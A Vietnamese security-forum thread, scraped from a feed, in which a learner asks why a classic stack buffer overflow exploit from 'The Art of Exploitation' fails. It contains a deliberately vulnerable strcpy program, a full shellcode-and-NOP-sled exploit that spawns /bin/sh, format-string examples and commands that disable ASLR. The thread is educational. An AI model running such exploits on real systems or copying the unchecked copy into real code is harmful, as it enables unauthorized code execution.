<![CDATA[Latest posts for the topic "[Hỏi] - Vài điều về buffer overflow"]]> /hvaonline/posts/list/24.html JForum - http://www.jforum.net [Hỏi] - Vài điều về buffer overflow Code:
/*
 * vuln.c
 */
int main(int argc, char *argv[])
{
   char buffer[500];
   strcpy(buffer, argv[1]);
   return 0;
}
Và kiểm tra thử:Code:
$ gcc -o vuln vuln.c
...
$ ./vuln
Segmentation fault
$ ./vuln test
$ ./vuln `perl -e 'print "A"x600;'`
Segmentation fault
Sau đó, ta có thêm một đoạn code exploit.c như sau:Code:
#include <stdio.h>
#include <stdlib.h>

char shellcode[]=
        "\x6a\x0b"              // push $0xb 
        "\x58"                  // pop %eax 
        "\x99"                  // cltd 
        "\x52"                  // push %edx 
        "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f 
        "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f 
        "\x89\xe3"              // mov %esp,%ebx 
        "\x52"                  // push %edx 
        "\x53"                  // push %ebx 
        "\x89\xe1"              // mov %esp,%ecx 
        "\xcd\x80";             // int $0x80 
unsigned long sp() {
        __asm__("movl %esp, %eax");}

int main (int argc, char *argv[]) {
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buf, *ptr;

        offset = 0 ;    // Cụ thể cho cái vuln này
        esp = sp();
        ret = esp - offset;

        printf ("ESP    : 0x%x\n", esp);
        printf ("offset : 0x%x\n", offset);
        printf ("RetAddr: 0x%x\n", ret);

        buf = malloc(600);
        ptr = buf;

        addr_ptr = (long *)ptr;
        /* Initialize cái return address */
        for (i=0; i<600; i+=4)
                *(addr_ptr++) = ret;

        /* NOP sled */
        for (i=0; i<202; i++)
                buf[i] = '\x90';

        /* Bỏ đám shellcode vô đây */
        ptr = buf + 202;
        for (i=0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        buf[600-1] = 0;
        execl("./vuln", "./vuln", buf, 0);
        //vuln(buf);
        return (0);
}
Câu hỏi 1. Ở vuln, khi run mà không có tham số nào cả thì vì sao bị seg fault? đáng lẽ ra strcpy sẽ không copy gì cả mới đúng chứ? Hay là argv[1] tự động trỏ tới phần memory trên stack, và phần này vô tình nullify nhiều hơn 500 bytes nên mới có tình trạng seg fault? 2. exploit dùng chính ESP để đoán address cho NOP sled. Nhưng, khi exploit gọi execl, execl sẽ fork vuln, và vuln sẽ có stack riêng, vậy kỹ thuật này đâu đoán đúng địa chỉ của NOP sled? 3. Theo "Art of Exploitaion" edition 1, đoạn exploit trên khi run sẽ trả về một shell. Khoai có thay đoạn shellcode (cũng là exec /bin/sh) nhưng khi run exploit thì chỉ nhận được:Code:
ESP    : 0xbfa7c608
offset : 0x0
RetAddr: 0xbfa7c608
Segmentation fault
Có phải đây là do việc đoán address bị sai? Khoai đã thử tạo một hàm vuln, và thay vì execl thì khoai cho chính exploit gọi vuln, và điều chỉnh lại offset cho đúng với ESP của vuln, nhưng vẫn không spawn shell được mà chỉ bị seg fault. Lỗi là ở đâu? 4. Ngoài cách dùng ESP để đoán address thì có cách nào khác? Ví dụ khi exploit một client server application thì chương trình exploit đâu có gọi được chương trình bị bof? Vậy càng không thể đoán address dựa trên ESP? Cám ơn bà con đã đọc. khoai]]>
/hvaonline/posts/list/20243.html#120259 /hvaonline/posts/list/20243.html#120259 GMT
Re: [Hỏi] - Vài điều về buffer overflow $ gcc -o vuln vuln.c ... $ ./vuln Segmentation fault $ ./vuln test $ ./vuln `perl -e 'print "A"x600;'` Segmentation fault  --> khúc này chưa nói lên điều gì cả, nó vẫn bị buffer overflow nhưng mà có ứng dụng một số protector thì phải debug ra mới biết chắc được. Như trong gcc ver 4.x nếu khi compile bạn ko có option -fno-stack-protector và Disable cái randomize_va_space trong #echo 0> /proc/sys/kernel/randomize_va_space gcc -fno-stack-protector vuln.c -o vuln thì khi debug sẽ thấy EIP sẽ nhảy rối loạn mỗi lần chạy chứ ko bị fixed cố định một chỗ, điều này gây khó khăn khi NOP code + shellcode của ta khi đẩy vào stack vô tình đã replace lên EIP nhảy ngẫu nhiên trong stack --> exploit fail
3. Theo "Art of Exploitaion" edition 1, đoạn exploit trên khi run sẽ trả về một shell. Khoai có thay đoạn shellcode (cũng là exec /bin/sh) nhưng khi run exploit thì chỉ nhận được:Code: ESP : 0xbfa7c608 offset : 0x0 RetAddr: 0xbfa7c608 Segmentation fault Có phải đây là do việc đoán address bị sai? Khoai đã thử tạo một hàm vuln, và thay vì execl thì khoai cho chính exploit gọi vuln, và điều chỉnh lại offset cho đúng với ESP của vuln, nhưng vẫn không spawn shell được mà chỉ bị seg fault. Lỗi là ở đâu?  
Khi khoai thay đỗi shellcode thì phải chắc rằng shellcode đó chiếm bao nhiêu byte? từ đó để để tính toán lại một lần nữa (thêm bớt NOP code) để vừa khít buffer bị tràn. Ở đây ko thấy khoai dùng gdb debug xem phải dùng chính xác bao nhiêu byte để ghi đè vừa đủ cái buffer[500] kia (vừa đủ nghĩa là số byte ghi đề buffer[500]+ số byte ghi đè khít 4 byte EIP, cái này thì tùy vào OS, compiler).
4. Ngoài cách dùng ESP để đoán address thì có cách nào khác? Ví dụ khi exploit một client server application thì chương trình exploit đâu có gọi được chương trình bị bof? Vậy càng không thể đoán address dựa trên ESP?  
--> Mình chỉ cần gọi chương trình bị bof khi nó ... chưa chạy thôi mà khoai :D. VD một FTP server bị buffer overflow ngay trong buffer username/password thì Hacker chỉ việc nhồi vào một mảng Data+shellcode vào cái username/password đó là có thể exploit bình thường thôi (reverse connect, bind port ...etc), chứ đâu còn phải gọi Vuln này nọ. Còn tấn công local buffer overflow thì tất nhiên phải gọi Vuln nếu nó ... chưa chạy, và hacker phải có quyền .. chạy nó :D]]>
/hvaonline/posts/list/20243.html#120265 /hvaonline/posts/list/20243.html#120265 GMT
Re: [Hỏi] - Vài điều về buffer overflow

gamma95 wrote:
--> khúc này chưa nói lên điều gì cả, 
Đúng anh, đoạn đó khoai chỉ không hiểu vì sao run ./vuln không có args nào cả cũng bị Seg Fault

gamma95 wrote:
Disable cái randomize_va_space trong  
Đúng cái mà khoai đang cần. Đã test vô số code tự viết, mỗi lần chạy là cho một eip, esp khác nhau, không mò ra return address được. Sau khi disable thì cùng đoạn code sẽ được chạy ở một vùng memory cố định. Lần này lại lò ra câu hỏi mới: Như vậy một chương trình khi được chạy trong hệ thống sẽ có một vùng nhớ nhất định? Ai có tài liệu về memory management trên linux xin cho khoai xin một cái :(

gamma95 wrote:
Khi khoai thay đỗi shellcode thì phải chắc rằng shellcode đó chiếm bao nhiêu byte? từ đó để để tính toán lại một lần nữa (thêm bớt NOP code) để vừa khít buffer bị tràn. Ở đây ko thấy khoai dùng gdb debug xem phải dùng chính xác bao nhiêu byte để ghi đè vừa đủ cái buffer[500] kia (vừa đủ nghĩa là số byte ghi đề buffer[500]+ số byte ghi đè khít 4 byte EIP, cái này thì tùy vào OS, compiler). 
hehe, có mò chơi với gdb chứ anh gamma, nhưng chưa mò ra mà lại lười nên hỏi luôn. Có thể NOP + shellcode align chưa đúng nên đã không ghi đè chính xác lên EIP, cái này khoai sẽ xem lại coi sao.

gamma95 wrote:
Mình chỉ cần gọi chương trình bị bof khi nó ... chưa chạy thôi mà khoai 
Đó chính là câu hỏi của khoai. Khi mình không gọi nó (đặc biệt là khi vuln ở một remote host) thì mình dựa vào đâu để đoán ra return address? Như vậy không lẽ cùng một đoạn code khi run sẽ được đặt tại một vùng nhớ nhất định (đương nhiên là trên cùng OS)? Câu này tương tự như câu đầu tiên, gamma hay ai có tài liệu về memory management trên linux thì xin send cho khoai. khoai]]>
/hvaonline/posts/list/20243.html#120449 /hvaonline/posts/list/20243.html#120449 GMT
[Hỏi] - Vài điều về buffer overflow

Mr.Khoai wrote:
Giả sử ta có một chương trình như sau:Code:
/*
 * vuln.c
 */
int main(int argc, char *argv[])
{
   char buffer[500];
   strcpy(buffer, argv[1]);
   return 0;
}
Và kiểm tra thử:Code:
$ gcc -o vuln vuln.c
...
$ ./vuln
Segmentation fault
$ ./vuln test
$ ./vuln `perl -e 'print "A"x600;'`
Segmentation fault
Sau đó, ta có thêm một đoạn code exploit.c như sau:Code:
#include <stdio.h>
#include <stdlib.h>

char shellcode[]=
        "\x6a\x0b"              // push $0xb 
        "\x58"                  // pop %eax 
        "\x99"                  // cltd 
        "\x52"                  // push %edx 
        "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f 
        "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f 
        "\x89\xe3"              // mov %esp,%ebx 
        "\x52"                  // push %edx 
        "\x53"                  // push %ebx 
        "\x89\xe1"              // mov %esp,%ecx 
        "\xcd\x80";             // int $0x80 
unsigned long sp() {
        __asm__("movl %esp, %eax");}

int main (int argc, char *argv[]) {
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buf, *ptr;

        offset = 0 ;    // Cụ thể cho cái vuln này
        esp = sp();
        ret = esp - offset;

        printf ("ESP    : 0x%x\n", esp);
        printf ("offset : 0x%x\n", offset);
        printf ("RetAddr: 0x%x\n", ret);

        buf = malloc(600);
        ptr = buf;

        addr_ptr = (long *)ptr;
        /* Initialize cái return address */
        for (i=0; i<600; i+=4)
                *(addr_ptr++) = ret;

        /* NOP sled */
        for (i=0; i<202; i++)
                buf[i] = '\x90';

        /* Bỏ đám shellcode vô đây */
        ptr = buf + 202;
        for (i=0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        buf[600-1] = 0;
        execl("./vuln", "./vuln", buf, 0);
        //vuln(buf);
        return (0);
}
Câu hỏi 1. Ở vuln, khi run mà không có tham số nào cả thì vì sao bị seg fault? đáng lẽ ra strcpy sẽ không copy gì cả mới đúng chứ? Hay là argv[1] tự động trỏ tới phần memory trên stack, và phần này vô tình nullify nhiều hơn 500 bytes nên mới có tình trạng seg fault? 2. exploit dùng chính ESP để đoán address cho NOP sled. Nhưng, khi exploit gọi execl, execl sẽ fork vuln, và vuln sẽ có stack riêng, vậy kỹ thuật này đâu đoán đúng địa chỉ của NOP sled? 3. Theo "Art of Exploitaion" edition 1, đoạn exploit trên khi run sẽ trả về một shell. Khoai có thay đoạn shellcode (cũng là exec /bin/sh) nhưng khi run exploit thì chỉ nhận được:Code:
ESP    : 0xbfa7c608
offset : 0x0
RetAddr: 0xbfa7c608
Segmentation fault
Có phải đây là do việc đoán address bị sai? Khoai đã thử tạo một hàm vuln, và thay vì execl thì khoai cho chính exploit gọi vuln, và điều chỉnh lại offset cho đúng với ESP của vuln, nhưng vẫn không spawn shell được mà chỉ bị seg fault. Lỗi là ở đâu? 4. Ngoài cách dùng ESP để đoán address thì có cách nào khác? Ví dụ khi exploit một client server application thì chương trình exploit đâu có gọi được chương trình bị bof? Vậy càng không thể đoán address dựa trên ESP? Cám ơn bà con đã đọc. khoai 
1. Để verify, bồ thử chạy chương trình trong gdb, rồi xem nó bị segfault chỗ nào. Nếu tôi nhớ không lầm thì nó bị segfault ngay trong strcpy, chứ không phải segfault khi hàm main return. 2. Đúng. Do không đoán đúng được địa chỉ của RET, nên người ta mới dùng NOP sled, để tăng xác suất RET sẽ nhảy về ngay trong đoạn NOP sled. 3. gamma95 đã giải thích nguyên nhân rồi. 4. Câu hỏi này muốn trả lời rốt ráo thì phải xem cái chương trình cần exploit nó được compile ra sao và chạy trong môi trường nào. Nói cách khác, compiler và bản thân kernel của hệ điều hành ảnh hưởng rất lớn đến các kỹ thuật exploitation. Cùng là một chương trình kể trên, compiled bằng gcc 2.95 và chạy trên kernel không có bất kỳ biện pháp bảo vệ nào khác, thì có hàng chục cách để khai thác. Nhưng cũng là chương trình đó, compiled bằng gcc > 4.1 và chạy trên kernel kiểu của project Hardened Gentoo với tất cả các option được kích hoạt thì có khi không thể exploit được. Tôi đang viết một tài liệu nhỏ để tổng kết những vấn đề này (như là một ghi chú cho bản thân thôi), khi nào xong tôi sẽ gửi lên HVA. --m]]>
/hvaonline/posts/list/20243.html#141439 /hvaonline/posts/list/20243.html#141439 GMT
Re: [Hỏi] - Vài điều về buffer overflow

gamma95 wrote:
gcc -fno-stack-protection vuln.c -o vuln.c  
-:-)

Mr.Khoai wrote:
chỉ không hiểu vì sao run ./vuln không có args nào cả cũng bị Seg Fault 
Không có arg nào tức là argv sẽ chứa rác. Và khi strcpy truy xuất địa chỉ rác này, nó sẽ bị segfault.

Mr.Khoai wrote:
Như vậy một chương trình khi được chạy trong hệ thống sẽ có một vùng nhớ nhất định 
Nếu không có PIC và ASLR, và trong cùng một môi trường, thì các app được load lên giống nhau, tức nó sẽ năm ở cùng chỗ.

Mr.Khoai wrote:
mình dựa vào đâu để đoán ra return address 
Mình dựa vào việc mình chạy chính binary đó trên máy mình kiểm soát được. Vả lại "đoán" cũng chỉ là "đoán", không phải là "chỉ điểm". Theo kinh nghiệm của mình thì đây thật sự là một cách học sai. Cách học đúng sẽ chỉ cho bạn cách "chỉ điểm". Từ đó mới bắt đầu phát triển lên để vượt rào ASLR này nọ.]]>
/hvaonline/posts/list/20243.html#141442 /hvaonline/posts/list/20243.html#141442 GMT
Re: [Hỏi] - Vài điều về buffer overflow

Mr.Khoai wrote:
Đó chính là câu hỏi của khoai. Khi mình không gọi nó (đặc biệt là khi vuln ở một remote host) thì mình dựa vào đâu để đoán ra return address? Như vậy không lẽ cùng một đoạn code khi run sẽ được đặt tại một vùng nhớ nhất định (đương nhiên là trên cùng OS)?  
Muốn khai thác một chương trình nào đó, thì phải đạt được 2 điều kiện: 1. đưa được dữ liệu vào: đưa vào cái gì, đưa khi nào và đưa bằng cách nào. 2. quan sát được cách chương trình xử lý dữ liệu đưa vào: static analysis và/hay dynamic analysis. Static analysis là dùng disassembler hay decompiler để phân tích mã nguồn của chương trình, và từ đó dự đoán cách thức chương trình sẽ xử lý dữ liệu đưa vào. Dynamic analysis là dùng debugger, tracer, profiler để chạy chương trình và kiểm tra thực tế xem chương trình có thực thi đúng như những gì đã dự đoán khi làm static analysis kô. Trong nhiều trường hợp, chỉ thực hiện được một trong hay cách phân tích này mà thôi, hoặc thậm chí, không thực hiện được cách phân tích nào (như ví dụ mà bồ đưa ra, chương trình vuln nằm ở remote host, chúng ta kô có source code cũng kô có binary để chạy thử), thì chúng ta phải dựa vào điều kiện thứ 2'. 2'. quan sát được kết quả trả về của chương trình. Cái này giống như chosen-plaintext attack, ta nhập input, ta thấy được output, giờ nhiệm vụ là tìm hiểu cách thức chương trình xử lý, tìm lỗ hổng trong cách xử lý đó, rồi khai thác (khác chosen-plaintext attack ở chỗ, cái cần tìm kô phải là key, mà lại là algorithm). Trong đa số trường hợp, ta có source code hoặc binary của chương trình muốn khai thác, việc còn lại là dựng lại một môi trường giống môi trường của target mà ta muốn khai thác (ví dụ như target chạy Windows XP Sp2, thì ta cũng phải có một môi trường giống y như vậy), rồi tiến hành phân tích, chạy thử trên môi trường nội bộ, sau khi đã thành công trên môi trường nội bộ rồi, thì mới tiến hành khai thác target. Trong những trường hợp ta không có source code hoặc binary của chương trình muốn khai thác, mà chỉ được quyền nhập input và quan sát output, thì tùy trường hợp mà có khai thác được hay không.

Mr.Khoai wrote:
Câu này tương tự như câu đầu tiên, gamma hay ai có tài liệu về memory management trên linux thì xin send cho khoai.  
Tài liệu về vấn đề này chủ yếu là cách làm việc của loader trong Linux và cấu trúc của file ELF. Bồ có thể bắt đầu bằng http://en.wikipedia.org/wiki/Executable_and_Linkable_Format. --m]]>
/hvaonline/posts/list/20243.html#141443 /hvaonline/posts/list/20243.html#141443 GMT
Re: [Hỏi] - Vài điều về buffer overflow

lamer wrote:
Vả lại "đoán" cũng chỉ là "đoán", không phải là "chỉ điểm". Theo kinh nghiệm của mình thì đây thật sự là một cách học sai. Cách học đúng sẽ chỉ cho bạn cách "chỉ điểm". Từ đó mới bắt đầu phát triển lên để vượt rào ASLR này nọ.  
Yeah yeah yeah! :d Một vấn đề cần phải lưu ý là các tài liệu viết về buffer overflow đa số đều dựa trên các môi trường (compiler + kernel) cũ xưa, mà môi trường bây giờ thì đã thay đổi rất nhiều rồi (theo chiều hướng ngày càng khó khai thác). Nên đừng ngạc nhiên nếu tại sao đọc tài liệu rồi làm theo mà vẫn kô làm được. Muốn học mấy cái này, như sư phụ lamer nói, thì phải có một môi trường thật đơn giản, để từ đó, mình có thể "chỉ tận tay, day tận mặt" cách chương trình bị khai thác, y như trong mấy cái tài liệu classic. Một khi đã hiểu cái cốt lõi của vấn đề rồi, thì việc qua mặt mấy thằng như ASLR chủ yếu là dựa vào mẹo vặt mà thôi. --m ]]>
/hvaonline/posts/list/20243.html#141446 /hvaonline/posts/list/20243.html#141446 GMT
Re: [Hỏi] - Vài điều về buffer overflow

lamer wrote:

gamma95 wrote:
gcc -fno-stack-protection vuln.c -o vuln  
-:-) 
Xin sửa lại gcc -fno-stack-protector vuln.c -o vuln Thanks anh Lamer ]]>
/hvaonline/posts/list/20243.html#141469 /hvaonline/posts/list/20243.html#141469 GMT
Re: [Hỏi] - Vài điều về buffer overflow

mrro wrote:
Một vấn đề cần phải lưu ý là các tài liệu viết về buffer overflow đa số đều dựa trên các môi trường (compiler + kernel) cũ xưa, mà môi trường bây giờ thì đã thay đổi rất nhiều rồi (theo chiều hướng ngày càng khó khai thác). Nên đừng ngạc nhiên nếu tại sao đọc tài liệu rồi làm theo mà vẫn kô làm được. Muốn học mấy cái này, như sư phụ lamer nói, thì phải có một môi trường thật đơn giản, để từ đó, mình có thể "chỉ tận tay, day tận mặt" cách chương trình bị khai thác, y như trong mấy cái tài liệu classic. --m  
Xin chào các bạn, mình cũng mắc phải một vấn đề như vậy. Nghĩa là, mình đọc sách bắt đầu từ các ví dụ đơn giản và cố gắng hiểu cơ chế của nó. Mình nghĩ là cũng tương đối hiểu cơ chế đó, nhưng cứ đến khi chạy chương trình exploit lại không được như ý muốn. Vậy mình xin hỏi các bạn có kinh nghiệm - Tạo 1 "môi trường đơn giản" là như thế nào? (phải chăng phải dựng lại hệ thống với compiler + kernel cũ xưa) - Để có thể học đúng cách về BoF thì nên tiến hành các bước cụ thể thế nào? (B1: Thử với "môi trường đơn giản"; B2: Một số vấn đề với các hệ thống ngày nay,...?) Cảm ơn các bạn.]]>
/hvaonline/posts/list/20243.html#141502 /hvaonline/posts/list/20243.html#141502 GMT
Re: [Hỏi] - Vài điều về buffer overflow /hvaonline/posts/list/20243.html#141523 /hvaonline/posts/list/20243.html#141523 GMT Re: [Hỏi] - Vài điều về buffer overflow Code:
/*
  * vuln.c
  */
 int main(int argc, char *argv[])
 {
    char buffer[500];
    strcpy(buffer, argv[1]);
    return 0;
 }
1. Ở vuln, khi run mà không có tham số nào cả thì vì sao bị seg fault? đáng lẽ ra strcpy sẽ không copy gì cả mới đúng chứ? Hay là argv[1] tự động trỏ tới phần memory trên stack, và phần này vô tình nullify nhiều hơn 500 bytes nên mới có tình trạng seg fault?  
1. Để verify, bồ thử chạy chương trình trong gdb, rồi xem nó bị segfault chỗ nào. Nếu tôi nhớ không lầm thì nó bị segfault ngay trong strcpy, chứ không phải segfault khi hàm main return.  
Không có arg nào tức là argv sẽ chứa rác. Và khi strcpy truy xuất địa chỉ rác này, nó sẽ bị segfault.  
Nguyên nhân lỗi seg fault đó là chỉ tồn tại argv[0] = "vuln" (tên chương trình) và ko có args thì có nghĩa là ko tồn tại argv[1], argv[2],... Có thể kiểm chứng bằng cách modify code, và print giá trị argc. PS. Cái này ai học C cũng đều biết. Thôi ko ai nói thì mình tranh phần vậy :D ]]>
/hvaonline/posts/list/20243.html#141533 /hvaonline/posts/list/20243.html#141533 GMT
Re: [Hỏi] - Vài điều về buffer overflow /hvaonline/posts/list/20243.html#141535 /hvaonline/posts/list/20243.html#141535 GMT Re: [Hỏi] - Vài điều về buffer overflow

anh lamer wrote:
Theo kinh nghiệm của mình thì đây thật sự là một cách học sai. Cách học đúng sẽ chỉ cho bạn cách "chỉ điểm". Từ đó mới bắt đầu phát triển lên để vượt rào ASLR này nọ.  
Anh lamer có quyển sách nào chỉ "cách học đúng" để nghiên cứu thêm về vấn đề này thì xin chỉ giáo. Khoai không biết nhiều về coding, nên vớ được quyển nào thấy hay hay là đọc ngay. khoai]]>
/hvaonline/posts/list/20243.html#141550 /hvaonline/posts/list/20243.html#141550 GMT
Re: [Hỏi] - Vài điều về buffer overflow

lQ wrote:
ko có args thì có nghĩa là ko tồn tại argv[1], argv[2] 
Cách nói chính xác phải là argv[1], argv[2] vẫn tồn tại, nhưng giá trị không được xác định.

TQN wrote:
Phải thấy được main() call ra sao và ASM code của main() thì sẽ hiểu được tại sao pagefault. 
SegFault trong Linux không giống như PageFault trong Windows. SegFault trong Linux gần với Access Violation trong Windows hơn.

Mr.Khoai wrote:
Anh lamer có quyển sách nào chỉ "cách học đúng" để nghiên cứu thêm về vấn đề này thì xin chỉ giáo. Khoai không biết nhiều về coding, nên vớ được quyển nào thấy hay hay là đọc ngay. 
Cuốn sách bạn đang đọc (của Jon Erickson) là cuốn sách hay nhất mình từng biết đến. Nhưng con đường nhanh nhất để hiểu nó là được chỉ dẫn tận tình. [Quảng cáo] Mình làm điều này (dạy tận dụng lỗi phần mềm) ở nước ngoài và trong nước nhiều rồi nên ít hay nhiều mình cũng có chút khả năng đào tạo bài bản. Nếu bạn (hoặc doanh nghiệp của bạn) có nhu cầu thì có thể liên hệ riêng với mình qua email bên dưới. [Hết quảng cáo]]]>
/hvaonline/posts/list/20243.html#141554 /hvaonline/posts/list/20243.html#141554 GMT
Re: [Hỏi] - Vài điều về buffer overflow Code:
int main(int argc, char *argv[])
 {
    char buffer[500];
    strcpy(buffer, argv[1]);
    printf(argv[3]);
 }
Rồi chạy: Code:
$ ./vuln a
Xem nó có in ra cái gì không? :p Sau khi đã xơi em này, thử tiếp em này còn độc địa hơn: Code:
int main(int argc, char *argv[])
 {
    if (argc) exit(0);
    printf(argv[3]);
    exit(0);
 }
--m ]]>
/hvaonline/posts/list/20243.html#141564 /hvaonline/posts/list/20243.html#141564 GMT
Re: [Hỏi] - Vài điều về buffer overflow

xtinhcau wrote:
Xin chào các bạn, mình cũng mắc phải một vấn đề như vậy. Nghĩa là, mình đọc sách bắt đầu từ các ví dụ đơn giản và cố gắng hiểu cơ chế của nó. Mình nghĩ là cũng tương đối hiểu cơ chế đó, nhưng cứ đến khi chạy chương trình exploit lại không được như ý muốn. Vậy mình xin hỏi các bạn có kinh nghiệm - Tạo 1 "môi trường đơn giản" là như thế nào? (phải chăng phải dựng lại hệ thống với compiler + kernel cũ xưa) - Để có thể học đúng cách về BoF thì nên tiến hành các bước cụ thể thế nào? (B1: Thử với "môi trường đơn giản"; B2: Một số vấn đề với các hệ thống ngày nay,...?) Cảm ơn các bạn.  
Như đã nói ở trên, có hai yếu tố ảnh hưởng rất lớn đến việc tìm hiểu về các lỗi memory corruption là compiler và kernel. Nên suy nghĩ của bồ là chính xác. Tuy vậy, không cần phải dựng lại hệ thống, bồ chỉ cần cài đặt compiler cũ (cỡ gcc < 4) và disable các tính năng *bảo vệ* của kernel là được. Ví dụ như nếu bồ sử dung Ubuntu, thì chỉ cần làm những việc sau đây: Code:
$ sudo apt-get install gcc-3.3

$ sudo su -c "echo 0 > /proc/sys/kernel/randomize_va_space"
là bồ đã có được một môi trường đơn giản để chơi rồi. --m]]>
/hvaonline/posts/list/20243.html#141584 /hvaonline/posts/list/20243.html#141584 GMT
Re: [Hỏi] - Vài điều về buffer overflow

Mr.Khoai wrote:
Anh lamer có quyển sách nào chỉ "cách học đúng" để nghiên cứu thêm về vấn đề này thì xin chỉ giáo. Khoai không biết nhiều về coding, nên vớ được quyển nào thấy hay hay là đọc ngay. khoai 
Theo kinh nghiệm bản thân sau khi đã tham gia khóa học của anh lamer, luyện 1 thời gian, rồi đọc cuốn The art of Exploitation (cả 1st và 2nd edition) thì nhận ra rằng cách viết của cuốn sách là rất hay, có điều, chương trình ví dụ trong đó đưa ra hơi rối, không tối giản đến mức cần thiết để dễ hiểu so với các chương trình ví dụ của anh lamer. Ngay cả với mình sau khi đã học xong, đọc lại cuốn đó mà cũng phải căng mắt ra theo dõi các con số. Và một điều tất yếu rằng đọc sách sẽ lâu hơn có người "chỉ tận tay, day tận mặt" rồi. Còn về việc tạo môi trường để thực hành và học hỏi, theo mình, sau khi đã hiểu được bản chất của vấn đề, làm trên những môi trường cổ, bó hẹp trong một phạm vi nào đó (như kernel + compiler) thì việc dùng mánh lới để vượt qua những cách bảo vệ càng ngày càng chặt chẽ của các compiler sau này không phải là quá khó hiểu, cùng là một nguyên tắc mà thôi. Vì thế, đừng quá nôn nóng thắc mắc "Bây giờ compiler nó thay đổi và nhiều cơ chế bảo vệ quá, làm sao các kỹ thuật này áp dụng được đây?" Vài lời chia sẻ.]]>
/hvaonline/posts/list/20243.html#141593 /hvaonline/posts/list/20243.html#141593 GMT
Re: [Hỏi] - Vài điều về buffer overflow The Shellcoder's Handbook: Discovering and Exploiting Security Holes (2nd Edition) Thân ]]> /hvaonline/posts/list/20243.html#141605 /hvaonline/posts/list/20243.html#141605 GMT Re: [Hỏi] - Vài điều về buffer overflow

4hfoo wrote:
Có thêm một cuốn khá hay về đề tài buffer overflow và nhiều cái khác, bạn tìm xem thử ... The Shellcoder's Handbook: Discovering and Exploiting Security Holes (2nd Edition)  
Cuốn này có một số lỗi nho nhỏ. Bạn sẽ cần phải rất tỉnh táo để theo dõi và nhận ra lỗi. Theo nhận xét cá nhân mình thì cuốn này không phù hợp cho người mới bắt đầu nghiên cứu.]]>
/hvaonline/posts/list/20243.html#141646 /hvaonline/posts/list/20243.html#141646 GMT
Re: [Hỏi] - Vài điều về buffer overflow

mrro wrote:
Như đã nói ở trên, có hai yếu tố ảnh hưởng rất lớn đến việc tìm hiểu về các lỗi memory corruption là compiler và kernel. Nên suy nghĩ của bồ là chính xác. Tuy vậy, không cần phải dựng lại hệ thống, bồ chỉ cần cài đặt compiler cũ (cỡ gcc < 4) và disable các tính năng *bảo vệ* của kernel là được. Ví dụ như nếu bồ sử dung Ubuntu, thì chỉ cần làm những việc sau đây: Code:
$ sudo apt-get install gcc-3.3

$ sudo su -c "echo 0 > /proc/sys/kernel/randomize_va_space"
là bồ đã có được một môi trường đơn giản để chơi rồi. --m 
Ồ, cám ơn mrro. Ý mình có lẽ là vậy. Nghĩa là, thực tế sách có đưa ra ví dụ, nhưng mình hiểu là với môi trường hệ điều hành của mình thì các giá trị sẽ khác với trong sách, mình đã điều chỉnh các giá trị này theo các giá trị thực tế trên hệ thống mà mình thử nghiệm, tuy nhiên kết quả không được như mong muốn. Vì vậy, khi mrro và các bạn đưa ra ý kiến, mình nghĩ có vẻ như các compiler và kernel "đời mới" có những phương pháp để chống lại BoF. Thực tế bản thân mình cho rằng, các vấn đề kiểu này, khá sát mức hệ thống, các cơ chế khi đọc một diễn giải đầy đủ có thể hiểu được, tuy nhiên khi mình có thể thực thi khai triển được các ví dụ đó thì mức hiểu biết đã tăng lên rất nhiều. OK, Mình sẽ thử xem sao. Cảm ơn các bạn.]]>
/hvaonline/posts/list/20243.html#141652 /hvaonline/posts/list/20243.html#141652 GMT
Re: [Hỏi] - Vài điều về buffer overflow khác hoặc mới hơn những vấn đề mà sách đưa ra. Kiến thức mà mình tự gain được, bao giờ cũng bền chắc hơn rất nhiều kiến thức mà người khác nhồi vào đầu mình. Nên người thầy mà dạy tốt, là người chỉ hướng dẫn, chứ không làm thay, rồi để học trò tự giải quyết vấn đề của họ. Sách thường kô làm được điều này, bởi lẽ nó không có tương tác giữa thầy và trò, dẫn đến việc sách nói một đường, trò hiểu một nẻo, nhưng sách không có cách nào để nhận ra là trò đang hiểu sai, để kịp thời điều chỉnh. Một vấn đề nữa là sách thường hay lan man, nói những thứ không cần thiết. Còn thầy thì, nhờ kinh nghiệm, biết rõ cái gì là cần thiết, cần phải tập trung vào đó. Nói chung là nên tìm một ông thầy tốt như anh lamer :p. --m ]]> /hvaonline/posts/list/20243.html#141654 /hvaonline/posts/list/20243.html#141654 GMT Re: [Hỏi] - Vài điều về buffer overflow

mrro wrote:
Nên người thầy mà dạy tốt, là người chỉ hướng dẫn, chứ không làm thay, rồi để học trò tự giải quyết vấn đề của họ. Sách thường kô làm được điều này, bởi lẽ nó không có tương tác giữa thầy và trò, dẫn đến việc sách nói một đường, trò hiểu một nẻo, nhưng sách không có cách nào để nhận ra là trò đang hiểu sai, để kịp thời điều chỉnh. Một vấn đề nữa là sách thường hay lan man, nói những thứ không cần thiết. Còn thầy thì, nhờ kinh nghiệm, biết rõ cái gì là cần thiết, cần phải tập trung vào đó. Nói chung là nên tìm một ông thầy tốt như anh lamer :p. --m  
Vậy chứ tui không kiếm được thầy thì sao mrro? anh lamer: Anh coi rảnh rỗi lúc train cho mrro đi kìa, em thấy mrro hâm mộ anh quá trời :D ]]>
/hvaonline/posts/list/20243.html#141667 /hvaonline/posts/list/20243.html#141667 GMT
Re: [Hỏi] - Vài điều về buffer overflow

FaL wrote:
anh lamer: Anh coi rảnh rỗi lúc train cho mrro đi kìa, em thấy mrro hâm mộ anh quá trời :D  
Mình thì nghĩ ngược lại, mình nghĩ là mrro được anh lamer train rồi nên mới nói thế đó chứ :P]]>
/hvaonline/posts/list/20243.html#141709 /hvaonline/posts/list/20243.html#141709 GMT
Re: [Hỏi] - Vài điều về buffer overflow /hvaonline/posts/list/20243.html#141723 /hvaonline/posts/list/20243.html#141723 GMT Re: [Hỏi] - Vài điều về buffer overflow /hvaonline/posts/list/20243.html#141729 /hvaonline/posts/list/20243.html#141729 GMT Re: [Hỏi] - Vài điều về buffer overflow

mrro wrote:
